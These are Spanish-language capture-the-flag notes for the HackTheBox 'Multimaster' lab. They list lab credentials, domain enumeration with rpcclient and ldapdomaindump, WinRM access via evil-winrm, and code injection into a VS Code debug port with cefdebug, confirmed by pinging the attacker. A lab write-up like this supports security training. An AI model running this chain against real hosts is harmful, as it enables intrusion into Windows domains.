---
# System prepended metadata

title: MULTIMASTER

---

# MULTIMASTER


Credenciales:

`tushikikatomo:finance1`


#### rpcclient

```
rpcclient -U "tushikikatomo%finance1" 10.10.10.179
enumdomusers
```

![](https://i.imgur.com/ef6dHq2.png)


```
rpcclient -U "tushikikatomo%finance1" 10.10.10.179 -c "enumdomusers" | grep -oP '\[.*?\]' | grep -v "0x" | tr -d "[]" > users
```

```
ldapdomaindump -u 'MEGACORP\tushikikatomo' -p 'finance1' 10.10.10.179
```


![](https://i.imgur.com/Ygdp2j1.png)


```
php -S 0.0.0.0:80
```


![](https://i.imgur.com/4Bs6shL.png)


```
crackmapexec winrm 10.10.10.179 -u 'tushikikatomo' -p 'finance1'
```


![](https://i.imgur.com/8Rf2zEj.png)


```
evil-winrm -i 10.10.10.179 -u 'tushikikatomo' -p 'finance1'
```


![](https://i.imgur.com/HGgiovJ.png)



```
net user tushikikatomo
```


![](https://i.imgur.com/G4L3rNf.png)


```
Get-Process
```


![](https://i.imgur.com/tokkHH6.png)





![](https://i.imgur.com/kNRa4DI.png)


```
C:\Program Files\Microsoft VS Code\bin> .\code -h
```


![](https://i.imgur.com/VIGlHuV.png)


Versión: 1.37.1


```
https://github.com/taviso/cefdebug
```


```
\cefdebug.exe
```


![](https://i.imgur.com/ElNawIK.png)


```
.\cefdebug.exe --url "ws://127.0.0.1:35063/a5b92cbc-91be-4fcc-b7b6-68bc8cbfc4fe" --code "process.mainModule.require('child_process').exec('ping 10.10.14.11')"
```


![](https://i.imgur.com/c4fy02b.png)


```
tcpdump -i tun0 icmp -n
```

![](https://i.imgur.com/qsNqoiW.png)


Existe traza ICMP


Existe problemas con el nishang, por ello se borran los comentarios y se cambia ne nombre al script


![](https://i.imgur.com/pPkmEja.png)


















